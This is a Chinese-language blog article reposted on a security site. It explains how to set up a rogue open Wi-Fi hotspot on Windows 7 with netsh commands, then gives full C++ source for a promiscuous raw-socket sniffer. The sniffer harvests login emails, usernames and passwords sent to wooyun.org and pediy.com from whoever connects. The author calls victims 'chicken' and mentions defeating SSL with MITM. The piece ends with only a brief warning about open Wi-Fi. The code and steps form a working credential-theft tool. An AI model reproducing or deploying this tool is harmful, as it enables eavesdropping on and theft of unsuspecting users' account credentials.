Windows下的无线热点蜜罐-华盟网

Windows下的无线热点蜜罐

华盟学院山东省第二期线下学习计划

Windows下的无线热点蜜罐


作者:半斤八兩

只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

在许多公共场所我们都会看到有许多免密码的无线热点.我们大多数的人发现有免密热点,都会很高兴的感慨,  “运气真好,居然有不要密码的无线热点.” 可是否有人知道自己连上的是一个正在监视自己的眼睛?

WIFI即Hotspot也称无线热点,是指在公共场所提供无线局域网(WLAN)接入Internet服务的地点。这类地点多数是咖啡馆、机场、车站、商务酒店、高等院校、大型展览会馆等。这些热点有的是收费的提供无线宽带接入服务,有的则是免费的。在无线热点覆盖的地区,用户可以通过使用装有内置或外置无线网卡的笔记本电脑和PDA,来实现对Internet的接入。

试验平台:winn7 x86 台式机

工具: 无线网卡(USB)接收器

首先们来说一下怎样搭建wifi 蜜罐.

Win7下有一个命令可以创建个wifi.

netsh wlan set hostednetwork ssid=pass:123456789 key=123456789

Ssid 就是上图中显示的东西.

防止别人不知道密码,我们就改成 pass:123456789

Key 我们就直接弄成 123456789

这里要注意, ssid 尽量不要弄中文的.经本人测试,发现iphone不支持中文ssid.

然后我们用命令启动它.

netsh wlan start hostednetwork

这一些前提是我们要先插上wifi 接收器.

否则我们创建虚拟wifi 是不会成功的.

现在创建好了,我们写个抓包小程序,就可以等着chicken上勾就行了.

抓包我们要用混杂模式. 混杂模式可以抓到当前电脑所有网卡数据包.

 #include <stdio.h>
 #include <winsock2.h>
 #include "DataStruct.h"
 #include "InitSocket.h"
 #include <iostream>
 #include "mstcpip.h"
 using namespace std;
 CInitSocket initSock;
 
 int nRet = 0;
 void IsWifiHoneypots(PCHAR pBuff)
 {
     PIPHEADER pIphdr = (PIPHEADER)pBuff;

     pBuff += (pIphdr->ipVersion & 0xf) * sizeof(ULONG);

     PTCPHEADER pTcpHdr = (PTCPHEADER)pBuff;

     memset(szText, ' ', nRet);

     int dataLen = nRet - sizeof(IPHEADER) - sizeof(TCPHEADER);

     memcpy(szText, &pBuff[sizeof(TCPHEADER)], dataLen);
     
     int i = 0;
     char szEmail[MAXBYTE] = {0};
     PCHAR pEmail = szEmail;


     if(strstr(szText, "wooyun.org"))
     if(strstr(szText, "email"))
     {
         puts("--------------------------------------------");
         cout<<"found Wooyun.org password:" << endl;
 
         pEmail = strstr(szText, "email");
 
         for(i = 0; (pEmail[i] != '&'); i++);
 
          pEmail[i] = '\0';
          
          puts(pEmail);
  
          pEmail += i + 1;
  
          if(strstr(pEmail, "password"))
          {        
              pEmail = strstr(pEmail, "password");
              
             for(i = 0; (pEmail[i] != '&'); i++);
             
             pEmail[i] = '\0';
             
             puts(pEmail);
         }
 
         puts("--------------------------------------------");
     }
 
  
      if(strstr(szText, "pediy.com"))
          if(strstr(szText, "username"))
          {
              puts("--------------------------------------------");
              cout<<"found pediy.com password:" << endl;
              
              pEmail = strstr(szText, "username");
              
              for(i = 0; (pEmail[i] != '&'); i++);
              
              pEmail[i] = '\0';
              
              puts(pEmail);
              
              pEmail += i + 1;
              
              if(strstr(pEmail, "md5password_utf="))
              {        
                  pEmail = strstr(pEmail, "md5password_utf=");
                  
                  for(i = 0; (pEmail[i] != 0x20); i++);
                  
                  pEmail[i] = '\0';
                  
                  puts(pEmail);
              }
              
              puts("--------------------------------------------");
      }
  }
  
  int main(void)
  {
      system("chcp 936 & cls & title windows wifi 蜜罐 by 半斤八兩 & color 0a");
  
      SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
  
      char szHostName[56];
  
     SOCKADDR_IN localAddr;
     
     struct hostent *pHost;
     gethostname(szHostName, 56);
     if ((pHost = gethostbyname((char*)szHostName)) == NULL)
     {
         return 0;
     }
     localAddr.sin_family = AF_INET;
     localAddr.sin_port  = htons(0);
     memcpy(&localAddr.sin_addr.S_un.S_addr, pHost->h_addr_list[1], pHost->h_length);
 
     if (bind(sRaw, (PSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR)
     {
         return 0;
     }
 
     DWORD dwValue = 1;
 
     if (ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
     {
         return 0;
     }
 
     cout << "<<Listen in Wooyun.org and pediy.com>>" << endl << endl;
 
     char buff[1024];
     while(true)
     {
         nRet = recv(sRaw, buff, 1024, 0);
         if (nRet > 0)
         {
             buff[nRet] = '\0';
             IsWifiHoneypots(buff);
         }
     }
     closesocket(sRaw);
     return 0;
 }

为了敢在国庆前之前,代码写的有点乱.大家将就的看吧.(应该还有不少BUG.但是wooyun 和 看雪的,应该都能抓到了.)

Wooyun的post直接是明文的密码, 看雪的还是做了md5 处理.

如果遇到了ssl的可以用mitm 处理. (这里就不说了,网上有很多资料.)

www.idc126.com

通过文篇文章大家应该注意 不要随意上没有密码的 wifi..

转自 博客:http://cnblogs.com/bjblcracked

本文由 华盟网 作者:小龙 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

发表评论